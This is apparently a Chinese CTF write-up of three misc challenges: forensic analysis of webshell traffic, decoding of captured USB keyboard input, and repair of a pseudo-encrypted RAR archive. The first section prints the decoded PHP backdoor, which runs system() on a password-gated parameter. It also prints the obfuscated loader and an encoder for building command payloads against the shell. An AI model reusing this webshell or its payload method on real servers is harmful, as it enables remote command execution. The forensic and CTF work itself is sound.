7. 初赛misc——事件调查
一个流量一个web,web大部分都404/403,看流量。
很明显已经提示你webshell在/shopping/admin/productimages/目录,但24/25/26/27都没有,追踪流可以看到decode.php似乎是一个上传的小马。
猜测这个目录可能是一个上传图片的接口所指定的目录,然后去找28/29/30。
http.request.uri contains "decode.php"
可以看到28明显不正常,追踪流。
上传了一个test.php,最终save到admin_login.php,而且流量是加密的。
这个admin_login.php是存在的,但提示password error,应该就是要解密流量。
那么我们需要先找到decode.php的源码。
http.request.method == "POST"
可以看出来insert-product.php第一次是用来上传图片的,第二次却没有图片标识了,追踪流进去发现上传了webshell。
这种直接把$GPlPY打印出来就是执行代码,很简单,得到代码如下。
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
if ($_FILES["file"])
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $_FILES["file"]["tmp_name"] . "<br />";
$file_path = "./" . $_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $file_path);
echo "文件存储在: " . $file_path . "<br />";
$data = read_file($file_path);
echo "Data: " . $data . "<br />";
$save_file = "./admin_login.php";
save_file($save_file, decode($data));
echo "文件2存储在: " . $save_file . "<br />";
}
}
function read_file($path){
$myfile = fopen($path, "r") or die("Unable to open file!");
$data = fread($myfile,filesize($path));
fclose($myfile);
return $data;
}
function save_file($path, $content){
echo "save_file: <br />";
$file = fopen($path, 'w');
fwrite($file, $content);
fclose($file);
}
function decode($string = '', $skey = 'wenzi') {
$strArr = str_split(str_replace(array('O0O0O', 'o000o', 'oo00o'), array('=', '+', '/'), $string), 2);
$strCount = count($strArr);
foreach (str_split($skey) as $key => $value)
$key <= $strCount && $strArr[$key][1] === $value && $strArr[$key] = $strArr[$key][0];
return base64_decode(join('', $strArr));
}
所以抄一下decode()就可以将admin_login.php的代码解密了,解密后代码如下。
<?php function qPjzBT($pUBD)
{
$pUBD=gzinflate(base64_decode($pUBD));
for($i=0;$i<strlen($pUBD);$i++)
{
$pUBD[$i] = chr(ord($pUBD[$i])-1);
}
return $pUBD;
}eval(qPjzBT("ZVFdT4QwEPwB/RUbQq4lXiJ3Gl+UM8YYH33x7UIuFRYO7VHSgnf48dvdBU6NQgLTmdndaQvAjxBFV2dtZWvIMbM5qtC3rqpLSEDKOYT+BXvGe6zfKhnBu+AyNt04RwKBjW9M1SpGDhujM1TaOd0r+RDTS12kjePYDsAyiOYwORImT/hzyuw0nNAyuvyedGu7uqVZGf/VNHvSC+tQZ1tQP0GGzBFoD+EQfgXhqzYdRkPBSF4lvzrPZscNrVlM14sUkiSZyv7JkPyxx+mYxWHbuRqetMeL8810ns+2qtV4lGNuCv4phAizXc6dNvd3j2tpvKQmzC2JPF4FLckd5rrVxOKhMUzLD+7GVhKrAtRgoBQUGoJSG33oF8uzERRGl8Hx2nzvW9xN/kU6JEHjcVQx21oIGu393roc0DnrgiHs9Up8AQ=="));?>
搁这套娃是吧,继续var_dump($pUBD);
function decode($string = '', $skey = 'wenzi') {
$strArr = str_split(str_replace(array('O0O0O', 'o000o', 'oo00o'), array('=', '+', '/'), $string), 2);
$strCount = count($strArr);
foreach (str_split($skey) as $key => $value)
$key <= $strCount && $strArr[$key][1] === $value && $strArr[$key] = $strArr[$key][0];
return base64_decode(join('', $strArr));
}
$cmd = $_GET['ls'];
$cmd2 = decode($cmd);
$data = explode('|', $cmd2);
if ($data[0] == "galaxy123galaxyflag") {
system($data[1]);
}
else{
echo "password error";
}
所以最后的使用方法是ls=encode('galaxy123galaxyflag|whoami')
decode我们知道了,但这个encode怎么写呢?自己逆好像很麻烦,把decode的代码放百度搜一下就能出来。
<?php
function encode($string = '', $skey = 'wenzi') {
$strArr = str_split(base64_encode($string));
$strCount = count($strArr);
foreach(str_split($skey) as $key => $value)
$key < $strCount && $strArr[$key].=$value;
return str_replace(array('=', '+', '/'), array('O0O0O', 'o000o', 'oo00o'), join('', $strArr));
}
echo encode('galaxy123galaxyflag|whoami');
得到payload再放入webshell使用即可。
/shopping/admin/productimages/28/admin_login.php?ls=xxxx
8. 初赛misc——USB Key
通过流量的Leftover Capture Data段可以看出来是键盘流量。
筛选一下。
usb.data_len == 8
如果是鼠标,长度不一样。在kali中提取出来。
tshark -r USB\ Key.pcap -T fields -e usb.capdata -Y "usb.data_len == 8" | sed '/^\s*$/d' > usbdata.txt
很明显看得出来每行的5-8位对应一个按键,然后就是写脚本处理成字符串了,网上随便抄一个。
f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==16: # mouse len = 8
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break
fi.close()
normalKeys = {
"04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
"09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
"0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
"13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
"18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
"1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
"22":"5", "23":"6","24":"7","25":"8","26":"9",
"27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
"2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
"32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
"38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
"3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
"44":"<F11>","45":"<F12>"}
shiftKeys = {
"04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
"09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
"0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
"18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
"1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
"22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
"28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
"2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
"34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
"3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
"41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()
flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))
得到flag
9. 初赛misc——密码锁
开局一张图,用Stegsolve.jar看了半天没看明白,十六进制打开一看。
行吧,上binwalk。
然后foremost分离,得到一个rar,还需要密码,而且不显示文件名。
先看一下是不是伪加密,用winrar制作三份加密内容一致的rar文件,1份不加密,1份加密但不加密文件名,1份加密且加密文件名。4份文件对照一下。
通过0x0-0xF位对比,显然目标更接近于不加密文件,而且显然它可以看到被加密文件名是readme.txt,也就是说这是个伪加密。通过010editor的rar模板得知,在0xA位置上有BLOCK_HEADERS_ENCRYPTED ,将其改为1,同时0xA位上的0x80会变成0x00。
可以发现现在可以看到文件名了(可能部分压缩软件打开有CRC校验问题)
但加密位就不好看出来了,这里百度搜索得知是在0x17位,同时在001.rar中的rar模板上有提示,将PASSWORD_ENCRYPTED改成1,0x17位上的0x20会变成0x24。
也就是说目标文件上的0x7424改成0x7420即可,然而改完之后发现。
这是因为CRC校验问题,如果使用winrar打开,则可以无视错误,强行提取文件。
最后base64+html编码decode即可拿到flag。这里介绍下如何修复CRC。
首先,看001.rar可以明显看出来标红的CRC位,这两个就是我们修改密码标识位后需要修复的位置。
010editor中内置校验器, Ctrl+K打开。
但是需要确定校验范围,第一块的校验域比较容易确定,但第二块不好确定,这里要参考RAR.bt的代码。
if (HeadType != MARKER)
{
local uint16 crcCheck = Checksum(CHECKSUM_CRC32, startof(HeadType), HeaderSize-sizeof(HEAD_CRC)) & 0xFFFF;
if (crcCheck != HEAD_CRC)
{
Warning("Header CRC mismatch in Block #%Lu", iBlocksCounter);
Printf("Header CRC mismatch in Block #%Lu: expected CRC is 0x%X, got 0x%X\n", iBlocksCounter, crcCheck, HEAD_CRC);
++iBadCRCCounter;
}
}
起始位置为HeadType,也就是0x9的位置,向后位数为HeaderSize-2(因为CRC只有2位)。
也就是从0x9到0x9+0xD-2=0x14,因为包括0x9自己,实际是0x9到0x13。
修改CE99为CF90,001.rar也是这个CRC。
同理,EB00的CRC,起始位置为0x16,HeaderSize为0x2F,那么就是从0x16到0x16+0x2F-2-1=0x42
也就是修改EB00为63E1
至此完美打开不报错。